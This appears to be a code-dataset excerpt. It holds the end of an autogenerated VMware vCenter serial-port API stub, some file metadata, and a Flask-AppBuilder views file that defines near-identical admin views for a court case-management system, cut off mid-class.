type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
connect_input_value_validator_list = [
]
connect_output_validator_list = [
]
connect_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/serial/{port}/connect',
path_variables={
'vm': 'vm',
'port': 'port',
},
query_parameters={
}
)
# properties for disconnect operation
disconnect_input_type = type.StructType('operation-input', {
'vm': type.IdType(resource_types='VirtualMachine'),
'port': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.SerialPort'),
})
disconnect_error_dict = {
'com.vmware.vapi.std.errors.error':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Error'),
'com.vmware.vapi.std.errors.not_found':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotFound'),
'com.vmware.vapi.std.errors.already_in_desired_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'AlreadyInDesiredState'),
'com.vmware.vapi.std.errors.not_allowed_in_current_state':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'NotAllowedInCurrentState'),
'com.vmware.vapi.std.errors.resource_busy':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceBusy'),
'com.vmware.vapi.std.errors.resource_inaccessible':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ResourceInaccessible'),
'com.vmware.vapi.std.errors.service_unavailable':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'ServiceUnavailable'),
'com.vmware.vapi.std.errors.unauthenticated':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthenticated'),
'com.vmware.vapi.std.errors.unauthorized':
type.ReferenceType('com.vmware.vapi.std.errors_client', 'Unauthorized'),
}
disconnect_input_value_validator_list = [
]
disconnect_output_validator_list = [
]
disconnect_rest_metadata = OperationRestMetadata(
http_method='POST',
url_template='/vcenter/vm/{vm}/hardware/serial/{port}/disconnect',
path_variables={
'vm': 'vm',
'port': 'port',
},
query_parameters={
}
)
operations = {
'list': {
'input_type': list_input_type,
'output_type': type.ListType(type.ReferenceType(__name__, 'Serial.Summary')),
'errors': list_error_dict,
'input_value_validator_list': list_input_value_validator_list,
'output_validator_list': list_output_validator_list,
'task_type': TaskType.NONE,
},
'get': {
'input_type': get_input_type,
'output_type': type.ReferenceType(__name__, 'Serial.Info'),
'errors': get_error_dict,
'input_value_validator_list': get_input_value_validator_list,
'output_validator_list': get_output_validator_list,
'task_type': TaskType.NONE,
},
'create': {
'input_type': create_input_type,
'output_type': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.SerialPort'),
'errors': create_error_dict,
'input_value_validator_list': create_input_value_validator_list,
'output_validator_list': create_output_validator_list,
'task_type': TaskType.NONE,
},
'update': {
'input_type': update_input_type,
'output_type': type.VoidType(),
'errors': update_error_dict,
'input_value_validator_list': update_input_value_validator_list,
'output_validator_list': update_output_validator_list,
'task_type': TaskType.NONE,
},
'delete': {
'input_type': delete_input_type,
'output_type': type.VoidType(),
'errors': delete_error_dict,
'input_value_validator_list': delete_input_value_validator_list,
'output_validator_list': delete_output_validator_list,
'task_type': TaskType.NONE,
},
'connect': {
'input_type': connect_input_type,
'output_type': type.VoidType(),
'errors': connect_error_dict,
'input_value_validator_list': connect_input_value_validator_list,
'output_validator_list': connect_output_validator_list,
'task_type': TaskType.NONE,
},
'disconnect': {
'input_type': disconnect_input_type,
'output_type': type.VoidType(),
'errors': disconnect_error_dict,
'input_value_validator_list': disconnect_input_value_validator_list,
'output_validator_list': disconnect_output_validator_list,
'task_type': TaskType.NONE,
},
}
rest_metadata = {
'list': list_rest_metadata,
'get': get_rest_metadata,
'create': create_rest_metadata,
'update': update_rest_metadata,
'delete': delete_rest_metadata,
'connect': connect_rest_metadata,
'disconnect': disconnect_rest_metadata,
}
ApiInterfaceStub.__init__(
self, iface_name='com.vmware.vcenter.vm.hardware.serial',
config=config, operations=operations, rest_metadata=rest_metadata,
is_vapi_rest=True)
class StubFactory(StubFactoryBase):
_attrs = {
'Boot': Boot,
'Cdrom': Cdrom,
'Cpu': Cpu,
'Disk': Disk,
'Ethernet': Ethernet,
'Floppy': Floppy,
'Memory': Memory,
'Parallel': Parallel,
'Serial': Serial,
'adapter': 'com.vmware.vcenter.vm.hardware.adapter_client.StubFactory',
'boot': 'com.vmware.vcenter.vm.hardware.boot_client.StubFactory',
}
| 43.731619
| 161
| 0.592653
| 39,615
| 372,331
| 5.424789
| 0.017544
| 0.053606
| 0.066239
| 0.081525
| 0.940136
| 0.926451
| 0.915888
| 0.902109
| 0.889057
| 0.881309
| 0
| 0.000447
| 0.31487
| 372,331
| 8,513
| 162
| 43.736756
| 0.841996
| 0.404197
| 0
| 0.781146
| 1
| 0
| 0.281729
| 0.205469
| 0
| 0
| 0
| 0
| 0
| 1
| 0.031265
| false
| 0.000947
| 0.002842
| 0
| 0.070583
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
d9fbec4f17a1495223392cad86815a9270129019
| 42,560
|
py
|
Python
|
zarc/old/views_2017-05-20-14:26:21.py
|
nyimbi/caseke
|
ce4a0fa44cd383bc23900e42f81656f089c8fdd9
|
[
"MIT"
] | 1
|
2019-06-03T16:20:35.000Z
|
2019-06-03T16:20:35.000Z
|
zarc/old/views_2017-05-20-14:26:21.py
|
nyimbi/caseke
|
ce4a0fa44cd383bc23900e42f81656f089c8fdd9
|
[
"MIT"
] | 20
|
2020-01-28T22:02:29.000Z
|
2022-03-29T22:28:34.000Z
|
zarc/old/views_2017-05-20-14:26:21.py
|
nyimbi/caseke
|
ce4a0fa44cd383bc23900e42f81656f089c8fdd9
|
[
"MIT"
] | 1
|
2019-06-10T17:20:48.000Z
|
2019-06-10T17:20:48.000Z
|
# coding: utf-8
# AUTOGENERATED BY gen_script.sh from kpony3.py
# Copyright (C) Nyimbi Odero, Sat May 20 14:16:40 EAT 2017
import calendar
from flask import render_template
from flask.ext.appbuilder.models.sqla.interface import SQLAInterface
from flask_appbuilder.views import MasterDetailView, MultipleView, RestCRUDView, CompactCRUDMixin
from flask.ext.appbuilder import ModelView, CompactCRUDMixin
from flask_appbuilder.charts.views import ChartView, TimeChartView, GroupByChartView
from flask_appbuilder.models.group import aggregate_count
from app import appbuilder, db, appbuilder
from flask_appbuilder.widgets import ListThumbnail
from .models import *
# Basic Lists
hide_list = ['created_by', 'changed_by', 'created_on', 'changed_on']
#To pretty Print from PersonMixin
def pretty_month_year(value):
return calendar.month_name[value.month] + ' ' + str(value.year)
def pretty_year(value):
return str(value.year)
class AttorneyView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Attorney, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
show_fieldsets = edit_fieldsets = add_fieldsets = \
person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class BailView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Bail, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class CaseView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Case, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class CauseofactionView(CompactCRUDMixin, ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Causeofaction, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class ConstituencyView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Constituency, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class CountyView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(County, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class CourtView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Court, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class CourtlevelView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Courtlevel, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class DefendantView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Defendant, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class DoctemplateView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Doctemplate, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class FilingView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Filing, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class FilingtypeView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Filingtype, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class HearingView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Hearing, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class HearingtypeView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Hearingtype, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class InvestigationView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Investigation, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class JudgeView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Judge, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class LawfirmView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Lawfirm, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class NatureofsuitView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Natureofsuit, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class ObserverView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Observer, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class PlaintiffView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Plaintiff, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class PolicemanView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Policeman, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class PoliceroleView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Policerole, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class PolicestationView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Policestation, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class PrisonView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Prison, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class PrisonremandView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Prisonremand, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class ProsecutorView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Prosecutor, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class ProsecutorteamView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Prosecutorteam, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class SubcountyView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Subcounty, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class SuretyView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Surety, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
# ref_fieldset + person_fieldset + contact_fieldset #+ activity_fieldset + place_fieldset + biometric_fieldset + employment_fieldset
#description_columns = {"name":"your models name column","address":"the address column"}
#show_template = "appbuilder/general/model/show_cascade.html"
#edit_template = "appbuilder/general/model/edit_cascade.html"
class TownView(ModelView):#MasterDetailView, MultipleView
datamodel=SQLAInterface(Town, db.session)
#add_title =
#list_title =
#edit_title =
#base_order = ("name", "asc")
search_exclude_columns = person_exclude_columns + biometric_columns + person_search_exclude_columns
add_exclude_columns = edit_exclude_columns = audit_exclude_columns
#add_columns = edit_columns = list_columns = person_list_columns + ref_columns + contact_columns
#list_widget = ListBlock|ListItem|ListThumbnail|ListWidget (default)
#related_views =[]
#show_fieldsets = edit_fieldsets = add_fieldsets = \
